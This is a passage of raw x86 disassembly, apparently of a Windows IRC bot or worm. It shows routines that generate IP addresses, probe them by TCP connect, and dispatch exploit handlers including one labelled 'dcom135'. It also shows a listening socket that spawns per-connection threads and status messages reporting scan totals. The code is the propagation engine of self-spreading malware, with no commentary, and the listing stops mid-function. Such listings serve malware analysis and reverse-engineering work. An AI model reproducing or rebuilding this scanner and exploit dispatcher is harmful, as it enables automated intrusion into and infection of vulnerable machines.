		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4184C0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4070AF
		pop	esi


loc_4070EA:				; CODE XREF: sub_40707C+2Bj
		push	dword_5154C0
		call	sub_40BBF6
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4184C0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C4F7
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40707C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407146	proc near		; CODE XREF: sub_40F6F1+57F1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_407182
		mov	eax, [ebp+arg_C]
		push	dword_43C658[eax*8]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42911C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	short loc_407195
; ---------------------------------------------------------------------------


loc_407182:				; CODE XREF: sub_407146+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4290EC
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_407195:				; CODE XREF: sub_407146+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40C4F7
		add	esp, 18h
		leave
		retn
sub_407146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071BD	proc near		; CODE XREF: sub_4078E6+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40754D
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_428C04[eax], ebx
		jz	loc_40742E
		push	4
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jnz	loc_40754D
		mov	eax, dword_42ECE4
		push	edi
		mov	edi, offset dword_43F554
		push	104h
		push	edi
		push	ebx
		mov	dword_43F764, eax
		mov	dword_43F760, ebx
		nop
		call	near ptr 7C80B4CFh
		push	103h
		mov	esi, offset dword_43F658
		push	offset byte_42EDC4
		push	esi
		call	sub_4182F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43F550, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43F7E8, eax
		jnz	short loc_407270
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43F768
		call	sub_4182F0
		add	esp, 0Ch
		mov	dword_43F7EC, 1
		jmp	short loc_40728A
; ---------------------------------------------------------------------------


loc_407270:				; CODE XREF: sub_4071BD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43F768
		call	sub_4182F0
		add	esp, 0Ch
		mov	dword_43F7EC, ebx


loc_40728A:				; CODE XREF: sub_4071BD+B1j
		push	esi
		push	edi
		push	dword_43F764
		lea	eax, [ebp+var_204]
		push	offset unk_4292AC
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	dword_43F75C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43F550
		push	offset sub_406B85
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, dword_43F75C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4072F9


loc_4072E7:				; CODE XREF: sub_4071BD+13Aj
		cmp	dword_43F7F0, ebx
		jnz	short loc_407314
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4072E7
; ---------------------------------------------------------------------------


loc_4072F9:				; CODE XREF: sub_4071BD+128j
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42926C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_407314:				; CODE XREF: sub_4071BD+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C4F7
		mov	edi, offset dword_43FBAC
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43FDB8, ebx
		nop
		call	near ptr 7C80B4CFh
		push	103h
		mov	esi, offset dword_43FCB0
		push	offset byte_42EDC4
		push	esi
		call	sub_4182F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43FBA8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43FE40, eax
		jnz	short loc_40738F
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43FDC0
		call	sub_4182F0
		add	esp, 0Ch
		mov	dword_43FE44, 1
		jmp	short loc_4073A9
; ---------------------------------------------------------------------------


loc_40738F:				; CODE XREF: sub_4071BD+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43FDC0
		call	sub_4182F0
		add	esp, 0Ch
		mov	dword_43FE44, ebx


loc_4073A9:				; CODE XREF: sub_4071BD+1D0j
		push	esi
		push	edi
		push	dword_43FDBC
		lea	eax, [ebp+var_204]
		push	offset dword_42921C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	dword_43FDB4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43FBA8
		push	offset sub_405350
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, dword_43FDB4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_40741D


loc_407407:				; CODE XREF: sub_4071BD+25Ej
		cmp	dword_43FE48, ebx
		jnz	loc_407540
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_407407
; ---------------------------------------------------------------------------


loc_40741D:				; CODE XREF: sub_4071BD+248j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_4291DC
		jmp	loc_407531
; ---------------------------------------------------------------------------


loc_40742E:				; CODE XREF: sub_4071BD+25j
		cmp	dword_428C08[eax], ebx
		jz	loc_40754D
		push	3
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jnz	loc_40754D
		mov	esi, offset dword_43FA84
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 7C80B4CFh
		push	5Ch
		push	esi
		call	sub_4185F0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40746C
		mov	[eax], bl


loc_40746C:				; CODE XREF: sub_4071BD+2ABj
		mov	eax, dword_42ECE8
		mov	dword_43FB9C, ebx
		mov	dword_43FB88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43F7FC
		call	sub_4173AC
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43F7F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43FB88
		mov	dword_43FB94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43FB98, ecx
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_429190
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	dword_43FB90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43F7F8
		push	offset sub_405A6A
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, dword_43FB90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_407525


loc_407513:				; CODE XREF: sub_4071BD+366j
		cmp	dword_43FBA4, ebx
		jnz	short loc_407540
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_407513
; ---------------------------------------------------------------------------


loc_407525:				; CODE XREF: sub_4071BD+354j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_42914C


loc_407531:				; CODE XREF: sub_4071BD+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_407540:				; CODE XREF: sub_4071BD+250j
					; sub_4071BD+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_40754D:				; CODE XREF: sub_4071BD+14j
					; sub_4071BD+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_4071BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407551	proc near		; CODE XREF: sub_4076D2:loc_407743p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C658h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417490
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4412EC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4413B4	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417490
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_407551	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407599	proc near		; CODE XREF: sub_4076D2+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AF0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_4075C1
		xor	eax, eax
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_4075C1:				; CODE XREF: sub_407599+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_417FCC
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4075EE
		call	sub_417408
		mov	[ebp+var_C], eax


loc_4075EE:				; CODE XREF: sub_407599+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4075FB
		call	sub_417408
		mov	[ebp+var_8], eax


loc_4075FB:				; CODE XREF: sub_407599+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_407608
		call	sub_417408
		mov	[ebp+var_4], eax


loc_407608:				; CODE XREF: sub_407599+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_407614
		call	sub_417408


loc_407614:				; CODE XREF: sub_407599+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C658[ecx*8], eax


loc_407632:				; CODE XREF: sub_407599+26j
		pop	esi
		leave
		retn
sub_407599	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407635	proc near		; CODE XREF: sub_4076D2+B8p
					; sub_40DA5C+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_441438	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40765E
		xor	eax, eax
		jmp	short loc_4076CD
; ---------------------------------------------------------------------------


loc_40765E:				; CODE XREF: sub_407635+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4413B8	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_441454	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_441360	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4413A0	; select
		push	esi
		mov	edi, eax
		call	dword_441450	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_4076CD:				; CODE XREF: sub_407635+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407635	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076D2	proc near		; DATA XREF: sub_4078E6+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_407719:				; CODE XREF: sub_4076D2+200j
		mov	eax, dword_446E14[ebx]
		cmp	dword_43C65C[eax*8], 0
		jz	loc_4078D7
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_407743
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407599
		pop	ecx
		jmp	short loc_407748
; ---------------------------------------------------------------------------


loc_407743:				; CODE XREF: sub_4076D2+60j
		call	sub_407551


loc_407748:				; CODE XREF: sub_4076D2+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_446E14[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_429340
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_446C10[ebx]
		push	eax
		call	sub_4173AC
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_407635
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4078C7
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40781C
		push	offset dword_43F538
		nop
		call	near ptr 7C901005h
		push	[ebp+var_3C]
		push	edi
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_429308
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4077FE
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4077F2
		lea	eax, [ebp+var_140]


loc_4077F2:				; CODE XREF: sub_4076D2+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40DC10
		add	esp, 14h


loc_4077FE:				; CODE XREF: sub_4076D2+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40C4F7
		mov	[esp+2A8h+var_2A8], offset dword_43F538
		nop
		call	near ptr 7C9010EDh
		jmp	loc_4078C7
; ---------------------------------------------------------------------------


loc_40781C:				; CODE XREF: sub_4076D2+CDj
		push	edi
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4173AC
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4173AC
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407860
		lea	eax, [ebp+var_140]


loc_407860:				; CODE XREF: sub_4076D2+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4173AC
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_428BFC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_4078C7:				; CODE XREF: sub_4076D2+C3j
					; sub_4076D2+145j
		push	7D0h
		nop
		call	near ptr 7C802442h
		jmp	loc_407719
; ---------------------------------------------------------------------------


loc_4078D7:				; CODE XREF: sub_4076D2+55j
		push	esi
		call	sub_417174
		pop	ecx
		push	0
		nop
		call	near ptr 7C80C058h
sub_4076D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; DATA XREF: sub_40F6F1+3417o
					; sub_40F6F1+53A7o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C658[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4071BD
		push	8
		call	sub_4170A0
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_4079B4
		mov	esi, offset dword_43F538
		push	esi
		nop
		call	near ptr 7C91188Ah
		push	80000400h
		push	esi
		nop
		call	near ptr 7C80B829h
		test	eax, eax
		jnz	short loc_4079B4
		lea	eax, [ebp+var_1CC]
		push	offset unk_429474
		push	eax
		call	sub_4173AC
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40799E
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40DC10
		add	esp, 14h


loc_40799E:				; CODE XREF: sub_4078E6+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40C4F7
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4079B4:				; CODE XREF: sub_4078E6+63j
					; sub_4078E6+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421070
		mov	edi, ebx
		mov	dword_43C65C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407A81


loc_4079D2:				; CODE XREF: sub_4078E6+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42942C
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416E58
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_446E14[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_4076D2
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_407A4C


loc_407A41:				; CODE XREF: sub_4078E6+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407A73
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407A41
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_4078E6+159j
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4293E0
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40C4F7
		add	esp, 10h


loc_407A73:				; CODE XREF: sub_4078E6+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_4079D2


loc_407A81:				; CODE XREF: sub_4078E6+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407B2B
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_407A96:				; CODE XREF: sub_4078E6+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C658[eax*8]
		push	eax
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42938C
		push	eax
		call	sub_4173AC
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407AE4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40DC10
		add	esp, 14h


loc_407AE4:				; CODE XREF: sub_4078E6+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C65C[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_4170A0
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407B1B
		push	offset dword_43F538
		nop
		call	near ptr 7C91188Ah


loc_407B1B:				; CODE XREF: sub_4078E6+228j
		push	[ebp+var_2C]
		call	sub_417174
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h


loc_407B2B:				; CODE XREF: sub_4078E6+19Ej
					; sub_4078E6+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C65C[eax*8], 1
		jnz	loc_407A96
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407B2B
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B45	proc near		; DATA XREF: sub_40F6F1+37EBo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_4413B8	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_441438	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407CA9
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_446E1C[eax], ebx
		call	dword_4412D4	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4413E4	; bind
		test	eax, eax
		jnz	loc_407CA9
		push	0Ah
		push	ebx
		call	dword_4413E0	; listen
		test	eax, eax
		jnz	loc_407CA9


loc_407BEF:				; CODE XREF: sub_407B45+BEj
					; sub_407B45+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_44144C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407BEF
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_429508
		push	eax
		call	sub_4173AC
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416E58
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_446E14[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407CCD
		push	esi
		push	esi
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_446E24[ecx], eax
		jz	short loc_407C94


loc_407C81:				; CODE XREF: sub_407B45+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407BEF
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_407C81
; ---------------------------------------------------------------------------


loc_407C94:				; CODE XREF: sub_407B45+13Aj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_4294BC
		call	sub_40C56B
		pop	ecx
		pop	ecx
		jmp	short loc_407CAC
; ---------------------------------------------------------------------------


loc_407CA9:				; CODE XREF: sub_407B45+61j
					; sub_407B45+93j ...
		mov	edi, [ebp+arg_0]


loc_407CAC:				; CODE XREF: sub_407B45+162j
		push	edi
		call	dword_441450	; closesocket
		push	ebx
		call	dword_441450	; closesocket
		push	[ebp+var_3C]
		call	sub_417174
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h
		pop	edi
		pop	esi
		pop	ebx
sub_407B45	endp ; sp-analysis failed



loc_407CCD:				; DATA XREF: sub_407B45+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
